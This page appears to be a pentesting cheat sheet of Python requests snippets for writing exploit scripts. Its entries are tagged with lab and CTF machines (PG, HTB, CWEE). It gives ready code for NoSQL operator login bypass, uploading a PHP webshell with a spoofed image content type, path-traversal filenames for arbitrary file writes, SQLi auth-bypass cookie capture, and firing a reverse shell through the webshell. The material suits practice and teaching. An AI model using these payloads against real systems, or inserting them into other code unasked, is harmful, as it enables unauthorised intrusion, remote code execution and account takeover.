HTTP
Sending requests the way a target expects them: query params, form and JSON bodies, multipart uploads, cookies, bearer tokens, and CSRF flows.
GET with query params
params= URL-encodes automatically; the injectable value is built before being passed.
params = {
"id": 4,
"q": payload
}
r = s.get(url=URL, params=params, verify=False, proxies=PROXIES, timeout=10)Find by: get, query string, params, url parameters, requests, fetch
POST form-encoded (data=)
data=dict sends application/x-www-form-urlencoded — the default HTML form transport.
login_data = {
"username": payload,
"password": "test"
}
r = s.post(url=LOGIN_URL, data=login_data, verify=False, proxies=PROXIES, timeout=10)Find by: post, form, urlencoded, data, login, body, application/x-www-form-urlencoded
POST JSON body (json=)
json= sets Content-Type: application/json and serializes — needed for NoSQL operator injection.
json_data = {
"username": "admin",
"password": {"$ne": None}
}
r = s.post(url=LOGIN_URL, json=json_data, verify=False, proxies=PROXIES, timeout=10)Find by: post, json, application/json, api, body, nosql, operator injection, rest
Multipart file upload (webshell)
files tuple = (filename, content, content_type); a spoofed content_type bypasses naive checks.
files = {
"file": ("shell.php", "<?php system($_REQUEST['cmd']); ?>", "image/jpeg")
}
r = s.post(url=UPLOAD_URL, files=files, verify=False, proxies=PROXIES, timeout=10)
# webshell then at: {URL}/uploads/shell.php?cmd=idFind by: upload, multipart, file, files, webshell, form-data, content-type, rce, image · Source: PG/Zipper, PG/MZEEAV
Multipart upload + extra form fields
data= is passed alongside files= when the form needs other inputs (username, csrf, submit).
data = {
"txtusername": "abcd",
"txtfullname": "abcd",
"btncreate": ""
}
file = {
"avatar": ("shell.php", b"<?php system($_REQUEST['cmd']); ?>", "image/jpg")
}
r = s.post(url=UPLOAD_URL, data=data, files=file, verify=False, proxies=PROXIES, timeout=10)Find by: upload, multipart, file plus data, form fields, files and data, mixed · Source: HTB/Unbalanced (Prison MS)
Path-traversal filename in upload
Traversal in the filename writes outside the upload dir (arbitrary file write/read primitive).
traversal_file = f"../../../../../../..{absolute_path}"
files = {
"file": (traversal_file, "test", "image/jpeg")
}
r = s.post(url=UPLOAD_URL, files=files, verify=False, proxies=PROXIES)Find by: path traversal, lfi, upload, filename, dot dot slash, arbitrary write, directory traversal, overwrite · Source: PG/WallpaperHub
Grab CSRF token then submit
The form is fetched, the hidden token is scraped from its input, then replayed in the POST on the same Session.
Anti-CSRF tokens are single-use and bound to the session, so one cannot be hardcoded: the form is fetched first, the hidden token is scraped from its <input>, then replayed in the POST on the same requests.Session (which also carries the matching cookie). If the token rotates per request, it must be re-fetched before every submit.
def get_csrf(s):
r = s.get(url=LOGIN_URL, verify=False, timeout=10)
soup = BeautifulSoup(r.text, "html.parser")
return soup.find("input", {"id": "csrf"})["value"]
def login(s):
data = {
"csrf": get_csrf(s),
"username": USERNAME,
"password": PASSWORD
}
r = s.post(url=LOGIN_URL, data=data, verify=False, timeout=10)
if "Wrong" in r.text:
print("[-] Login failed.")
sys.exit(1)
print("[+] Logged in.")The hidden field you scrape
<form action="/login" method="post">
<input type="hidden" id="csrf" name="csrf" value="b3f1c8e2">
<input name="username">
<input name="password" type="password">
</form>Find by: csrf, token, anti-csrf, hidden input, login, bs4, beautifulsoup, fetch then post, two step · Source: PG/Monster
Login → extract session cookie (no redirect)
allow_redirects=False so the 302 (success signal) is visible; the cookie is pulled from the jar.
r = s.post(url=LOGIN_URL, data=DATA, verify=False, allow_redirects=False, timeout=10)
if r.status_code != 302:
print("[-] Injection did not work")
sys.exit(1)
session_cookie = s.cookies.get("session")
print(f"[+] Authenticated — cookie: {session_cookie}")Find by: cookie, session, allow_redirects, 302, set-cookie, authentication, sqli auth bypass, phpsessid · Source: WSA SQLi auth bypass
Set session-wide Authorization (Bearer JWT)
s.headers.update() applies the header to every later request on the Session.
def auth(s):
r = s.post(url=AUTH_URL, json={"email": ADMIN_EMAIL}, verify=False, proxies=PROXIES, timeout=10)
token = r.json().get("token")
if not token:
print("[-] Failed to get JWT.")
sys.exit(1)
return token
token = auth(s)
s.headers.update({"Authorization": f"Bearer {token}"})Find by: jwt, bearer, authorization header, token, headers update, api auth, session header · Source: CWEE/JS Injection
Timeout-as-success (blocking-payload trigger)
When the payload spawns a blocking shell, the request never returns — Timeout is caught as the success signal.
try:
r = s.get(url=web_shell_url, params={"cmd": reverse_shell}, verify=False, timeout=5, proxies=PROXIES)
except requests.Timeout:
print("[+] Reverse shell command sent — check your listener.")
except Exception as e:
print(f"[-] Could not trigger: {e}")Find by: timeout, reverse shell, trigger, blocking, requests.Timeout, fire and forget, rce, hang · Source: PG/many